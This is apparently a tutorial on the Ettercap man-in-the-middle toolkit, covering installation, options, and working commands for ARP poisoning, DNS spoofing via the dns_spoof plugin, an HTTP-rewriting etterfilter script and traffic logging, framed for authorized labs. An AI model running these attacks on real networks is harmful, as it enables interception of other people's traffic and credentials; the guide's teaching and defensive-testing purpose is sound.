ettercap-pkexec: A man-in-the-middle attack tool that supports sniffing and spoofing

Ettercap was the first tool that really showed me how a switched network is only as secure as its weakest ARP implementation. It’s been around since 2001, it’s still actively developed, and it’s still one of the go-to tools I reach for in an authorized lab when I need to demonstrate on-path attack scenarios — from basic ARP poisoning to full protocol dissection and plugin-driven attacks. This is the full guide, tested from install to advanced usage.

What Is Ettercap?

Ettercap is a comprehensive suite for man-in-the-middle (MITM) attacks on LANs. It supports live connection sniffing, content filtering, and active/passive dissection of many network and application protocols, plus a plugin architecture for extending its capabilities. It ships in three interface flavors, all built from the same ettercap-common core:

• ettercap-text-only (ettercap -T) — a console/CLI-driven interface, ideal for scripting and headless lab boxes
• ettercap-graphical — the GTK+ GUI version; on Debian/Kali-based systems this package is what registers the desktop menu entry that Linux distros label “ettercap-pkexec” (a pkexec-wrapped launcher used so the GUI can request root privileges from a graphical session) — it’s not a separate tool, just how the GUI build is invoked with elevated privileges from an application menu
• curses interface (ettercap -C) — a terminal UI, available within the same binary

Under the hood, all three interfaces are the same libec core engine with different front-ends bolted on.

Why Ettercap Still Matters

Flat, unsegmented LANs relying on ARP for layer 2 address resolution remain common, especially in smaller organizations, IoT/OT networks, and lab environments. Ettercap remains one of the most complete, actively maintained tools for demonstrating exactly what an on-path attacker can do once positioned on such a network — passive credential harvesting, active content injection, and protocol-specific attacks — all from a single, well-documented toolkit.

Installing Ettercap

Text-only (console) version, on Debian/Ubuntu:

sudo apt update
sudo apt install ettercap-text-only

Confirmed install:

Setting up ettercap-common (1:0.8.3.1-13build3) ...
Setting up ettercap-text-only (1:0.8.3.1-13build3) ...

For the graphical version (which pulls in the pkexec-launched GUI):

sudo apt install ettercap-graphical

Other platforms:

# Fedora / RHEL
sudo dnf install ettercap

# Arch Linux
sudo pacman -S ettercap

# From source (GitHub)
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
mkdir build && cd build
cmake ..
make
sudo make install

Verify:

ettercap --version

Real output:

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

ettercap 0.8.3.1

Basic Syntax

ettercap [OPTIONS] [TARGET1] [TARGET2]

Targets are specified as MAC/IP/IPv6/PORTs, and leaving a field empty means “any” for that field.

Key options confirmed from ettercap -h:

Sniffing and Attack options:
  -M, --mitm <METHOD:ARGS>    perform a mitm attack
  -o, --only-mitm             don't sniff, only perform the mitm attack
  -b, --broadcast             sniff packets destined to broadcast
  -B, --bridge <IFACE>        use bridged sniff (needs 2 ifaces)
  -p, --nopromisc             do not put the iface in promisc mode
  -S, --nosslmitm             do not forge SSL certificates
  -u, --unoffensive           do not forward packets
  -r, --read <file>           read data from pcapfile <file>
  -f, --pcapfilter <string>   set the pcap filter <string>
  -t, --proto <proto>         sniff only this proto (default is all)

User Interface Type:
  -T, --text                  use text only GUI
  -q, --quiet                 do not display packet contents
  -C, --curses                use curses GUI
  -D, --daemon                daemonize ettercap (no GUI)
  -G, --gtk                   use GTK+ GUI

Logging options:
  -w, --write <file>          write sniffed data to pcapfile <file>
  -L, --log <logfile>         log all the traffic to this <logfile>

Visualization options:
  -d, --dns                   resolves ip addresses into hostnames
  -e, --regex <regex>         visualize only packets matching this regex
  -Q, --superquiet            do not display user and password

Reading a Capture File (Safe, Offline Analysis)

Before touching a live interface, it’s worth getting comfortable with Ettercap’s dissection engine by pointing it at a pcap file instead:

sudo ettercap -T -q -r test.pcap

Real, tested output:

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Reading from /home/claude/test.pcap
Libnet failed IPv6 initialization. Don't send IPv6 packets.
Privileges dropped to EUID 65534 EGID 65534...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Starting Unified sniffing...

Capture file read completely, please exit at your convenience.

End of dump file...

Terminating ettercap...
Lua cleanup complete!
Unified sniffing was stopped.

This confirms Ettercap’s core dissection stack: 34 plugins, 42 protocol dissectors, and both MAC-vendor and TCP-OS fingerprint databases load correctly, and it drops privileges after opening the interface/file — a sensible security practice baked into the tool itself.

Live ARP Poisoning MITM (Lab Only)

Ettercap’s most well-known capability is ARP-based MITM, invoked with -M arp:

sudo ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.50//

Breaking this down:

• -M arp:remote — perform ARP poisoning, including remote (routed) traffic, not just LAN-local
• /192.168.1.1// — TARGET1: the gateway (empty MAC and PORT fields mean “any”)
• /192.168.1.50// — TARGET2: the victim host

This positions Ettercap between the gateway and the target, poisoning both sides’ ARP caches so all traffic between them flows through your machine, where Ettercap’s dissectors and plugins can inspect (and, depending on flags, modify) it.

Host Discovery

Before targeting specific hosts, Ettercap can scan the LAN and list discovered hosts:

sudo ettercap -T -q -i eth0

Inside the text UI, pressing keys triggers actions like a host scan; in scripted mode you can pass commands directly with -s:

sudo ettercap -T -q -i eth0 -s "hosts scan"

Filtering Traffic

Ettercap supports content filters written in its own filter language, compiled with etterfilter before use. A simple example filter that would replace a string in unencrypted HTTP traffic (filter.ef):

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("Encoding replaced\n");
   }
}

Compile and load it:

etterfilter filter.ef -o filter.ef
sudo ettercap -T -q -F filter.ef -M arp:remote /192.168.1.1// /192.168.1.50//

This is a classic demonstration of why unencrypted HTTP is dangerous — a MITM position lets you rewrite headers/content live, which is precisely why HTTPS-everywhere policies matter.

Using Plugins

Ettercap ships with dozens of plugins for specific attacks and protocol handling. List them:

sudo ettercap -T -q -P list

Common examples include dns_spoof (respond to DNS queries with forged answers), arp_cop (detect ARP poisoning — useful defensively), and chk_poison (verify whether your own poisoning attempt succeeded). Loading one:

sudo ettercap -T -q -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.50//

(DNS spoofing requires an etter.dns config file mapping domains to the IPs you want to forge — located at /etc/ettercap/etter.dns by default.)

Logging Captured Data

sudo ettercap -T -q -M arp:remote -w capture.pcap /192.168.1.1// /192.168.1.50//

Everything observed during the session is written in standard pcap format, ready to hand off to Wireshark for deeper analysis.

How Ettercap Works Internally

1. Interface setup: on startup, Ettercap opens the target interface via libpcap, loads its protocol dissector table (42 in this build) and its MAC vendor / TCP OS fingerprint databases.
2. Positioning (MITM engine): the -M arp module crafts and sends forged ARP replies via libnet, associating the attacker’s MAC with the target IPs in both victims’ ARP caches, exactly as arpspoof does — but Ettercap manages both directions and IP forwarding internally rather than requiring you to run separate processes.
3. Traffic capture and reconstruction: as traffic flows through the poisoned path, Ettercap’s dissection engine parses it protocol-by-protocol (identifying HTTP, FTP, DNS, and dozens more), extracting anything of interest (credentials, DNS queries, etc.) for the sniffing/logging layer.
4. Content filtering: if -F filters are loaded, matching packets are modified in-flight (via etterfilter-compiled bytecode executed against each packet) before being forwarded on.
5. SSL/TLS interception: unless -S/--nosslmitm is set, Ettercap can forge certificates on the fly to intercept TLS sessions — though, like sslmitm in dsniff, this depends entirely on the victim’s client accepting an untrusted certificate, which modern browsers make very difficult without an obvious warning.
6. Privilege dropping: as seen in the tested output, Ettercap drops root privileges (EUID 65534, i.e., nobody) immediately after opening the raw interface — a good security practice that limits the blast radius if the tool itself has a vulnerability.

Real-World Use Cases (Authorized Lab Environments Only)

1. Demonstrating on-path attack risk on flat networks The canonical use case: show a client, in an isolated lab segment, exactly what an attacker positioned via ARP poisoning could see and modify, to justify investment in 802.1X, dynamic ARP inspection, or network segmentation.

2. Testing DNS security controls Using the dns_spoof plugin in a lab to validate whether DNSSEC validation, secure resolvers, or network monitoring actually detect and block forged DNS responses.

3. Application-layer security testing Using content filters to test whether an application properly validates data integrity when transported over plaintext protocols, or whether TLS certificate pinning actually prevents interception.

4. Incident response training Recreating a known historical ARP-poisoning-based incident in a sandboxed lab so analysts can practice detecting it (e.g., via arp_cop or Wireshark’s “duplicate IP address” warnings) before encountering it for real.

Integration with Other Tools

• Wireshark: the standard companion for deep-diving into what Ettercap captured, especially with -w pcap logging enabled.
• etterfilter/etterlog: bundled companion utilities for compiling filter scripts and parsing Ettercap’s binary log format offline.
• dsniff: overlapping capability; some testers prefer dsniff’s individual, composable tools while others prefer Ettercap’s unified interface and plugin system.
• Bettercap: a more modern, actively evolving alternative with a similar mission, often used alongside or instead of Ettercap in current engagements.

Troubleshooting and Common Mistakes

• “Libnet failed IPv6 initialization” warning — harmless if you only need IPv4 MITM; Ettercap continues normally and simply won’t send IPv6 packets.
• Target loses connectivity during ARP MITM — confirm you’re using -M arp:remote (not just -M arp) if you need routed/internet-bound traffic to also pass through correctly, and confirm IP forwarding is functioning.
• No credentials/data showing up — check that you’ve actually achieved a MITM position (chk_poison plugin can confirm), and that the target is actually generating relevant plaintext traffic.
• SSL MITM not working against modern clients — expected; modern browsers reject Ettercap’s forged certificates loudly unless you’ve separately deployed your own CA cert as trusted on the target device (only valid in an authorized lab where you control that trust).
• “Permission denied” on interface — Ettercap needs root/CAP_NET_RAW+CAP_NET_ADMIN; run with sudo.

Best Practices

• Always confirm scope and written authorization before any ARP poisoning activity — it disrupts normal traffic flow for every host involved, not just your intended target.
• Use -r to develop and test filters/dissection logic against static pcaps before running anything live.
• Log with -w by default so you have a reviewable, auditable record of exactly what the engagement captured.
• Restore normal ARP state cleanly at the end of testing (Ettercap does attempt to restore correct ARP mappings on clean exit, but verify).
• Prefer the text/curses interface (-T/-C) for scripted, repeatable lab work; reserve the GUI for interactive exploration.

FAQ

What is “ettercap-pkexec” exactly? It’s the desktop application menu entry (using pkexec to request root privileges graphically) that launches the Ettercap GUI on Debian/Kali-based systems — not a separate tool from Ettercap itself.

Does Ettercap work on switched networks? Yes — like dsniff, that’s the whole point of its ARP-poisoning MITM module; it’s specifically designed to defeat the traffic isolation a switch normally provides.

Can Ettercap intercept HTTPS? Only if the target accepts a forged/untrusted certificate, which modern browsers make very difficult to do accidentally. It works reliably in controlled labs where you deploy your own trusted test CA on the victim machine.

Is Ettercap actively maintained? Yes, development continues on GitHub, including periodic releases and dissector/plugin updates.

Is Ettercap legal to use? The software is legal and open-source. Using its MITM/spoofing capabilities against a network without explicit authorization is illegal in most jurisdictions.

Summary

Ettercap remains one of the most complete, actively maintained MITM toolkits available for Linux — combining ARP-based positioning, deep protocol dissection, content filtering, and a broad plugin ecosystem in one package. Whether you’re demonstrating LAN-layer risk to a client, validating DNS security controls, or training incident responders, it’s a well-documented, capable tool as long as it’s used strictly within authorized lab boundaries.

References

• Official website: https://www.ettercap-project.org/
• GitHub repository: https://github.com/Ettercap/ettercap
• Man pages: man ettercap, man etterfilter, man etterlog